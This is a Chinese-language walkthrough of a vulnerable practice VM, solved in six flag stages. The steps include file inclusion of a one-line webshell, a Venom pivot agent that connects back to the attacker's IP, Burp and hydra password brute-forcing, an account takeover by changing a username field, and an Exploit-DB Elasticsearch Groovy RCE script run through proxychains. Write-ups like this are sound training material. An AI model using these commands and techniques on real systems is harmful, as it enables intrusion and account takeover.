前言
这是打靶训练的第三周。难度中等。这个靶机让我花费了大量时间配置ip地址,浪费了太多太多的时间。视频演示,靶机下载链接。
靶机配置
ubuntu网络配置,先看看这篇文章,然后开启靶机,按e键选择下面选项

将ro改为rw single init=/bin/bash后,重启靶机,再次进入GRUB界面,按回车选择上图的选项,即4.15.0-39-generic (recovery mode)。之后选择root那一行,回车进入。

进入命令行后会提示输入密码,密码为root。输入vi /etc/netplan/50-cloud-init.yaml,按下图编辑网络信息

保存退出后输入以下命令
dhclient ens33
ifconfig ens33 up
reboot # 重启

重启靶机后,即可用nmap扫到ip,如果还扫不到,多次重启靶机。
注意事项
1.http开启在8000端口,这是提交flag用的,请勿攻击
2.flag文件名以 flag.txt存储,提交用flag{}此形式
3.请勿直接关闭靶机,而是暂停vmware
4.在提交flag的时候,webapp 在后台启动 docker 容器,关机会导致失效。
flag1
如下图所示确实开放了8000端口

根据前面的注意事项,http访问8000端口后,先让你熟悉一下flag的形式。提交flag{start}即可通过。

flag2
来到第二关,提示80端口已开放

再次扫描后,确认80端口已开放

来到80端口上的网页,点击Blog Post 1后,观察url发现有/?file=。给我的第一感觉就是文件包含

使用../../../../etc/passwd测试后,存在文件包含漏洞

kali上开启apache服务后,将一句话木马放到web目录下,注意文件后缀名必须是.txt,而不是.php之类的。使用蚁剑连接

在根目录下找到flag,提交flag{the_game_is_on}到下一关。

flag3
让扫描内网主机ip段:172.17.0.3-254

这里要使用内网代理工具Venom,kali使用./admin_linux_x64 -lport 8888,监听8888端口。

然后将agent_linux_x64上传到靶机。使用./agent_linux_x64 -rhost 192.168.127.137 -rport 8888,连接kali上面的8888端口。

kali这边开启socks5代理,监听1080端口。

vi /etc/proxychains4.conf编辑socks配置文件,来到文件最后一行,socks 配置如图所示,让socks5走1080端口。

配置完成后,就可以让nmap等工具走socks5代理,只需要在平常命令前面加proxychains即可。开始进行内网主机扫描

发现172.17.0.4:80 主机,使用火狐配置socks5代理,ip地址和端口,一定要和前面的socks文件保持一致。

可看到上传文件需要密码,所以我们先将三个地方都选择shell.php文件,密码处填写123456,使用burp来爆破。

浏览器代理记得设置走burp,因为使用了socks5代理,所以burp的流量要走socks5。在User options -> Connections -> SOCK5 Proxy即可设置。

爆破得到密码password,上传路径为./photo/21/shell.php

接下来配置蚁剑的socks5代理

测试成功后,连接上木马找到flag,flag{picture_is_worth_1000_words},提交进入下一关
flag4
告诉了用md5加密后的密码和用户名,提示有台主机开放了ssh

解密后的密码
root
toor
password
admin
guest
MORIARTY
MCORP
mcorp
weapons
moriarty
将这些内容放进对应的user.txt和passwd.txt文件中

再次使用nmap扫描开放22端口的主机proxychains nmap -p22 -sT -Pn 172.17.0.3-254

发现172.17.0.5开放22端口,使用hydra进行爆破proxychains hydra -f -L user.txt -P passwd.txt 172.17.0.5 ssh

登录后,同样在根目录找到flag,flag{what_weapons}

flag5
有一台主机可能开放了443,8000,8080,8888端口,并提供了用户名buyer13,密码arms13

继续用nmap,proxychains nmap -p443,8000,8080,8888 -sT -Pn 172.17.0.3-254

扫了一万年,终于得到结果了,使用前面提供的账号登录上去后

点击Chats,知道admin和buyer13两人之间的对话

来到Change your password,输入密码123456

burp抓包,将username=buyer13改为username=admin

使用admin和123456重新登录网站,再次查看聊天记录得到flag,flag{on_the_move}

flag6
得知有个服务器开启Elasticsearch服务

而Elasticsearch有两个默认端口9200和9300
9200 是ES节点与外部通讯使用的端口。它是http协议的RESTful接口。
9300是ES节点之间通讯使用的端口。它是tcp通讯端口。
老规矩nmap扫描后得到 172.17.0.7:9300

也可以尝试访问一下172.17.0.7:9200,得到版本1.4.2。

在1.3.8和1.4.3之前的 Elasticsearch Groovy存在远程命令执行。使用以下命令
searchsploit Elasticsearch
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
proxychains python2 36337.py 172.17.0.7
如果使用exp出错,编辑vi /etc/proxychains4.conf,找到proxy_dns改为#proxy_dns,即可利用成功。

得到最后的flag,flag{game_over},通关界面
hydrr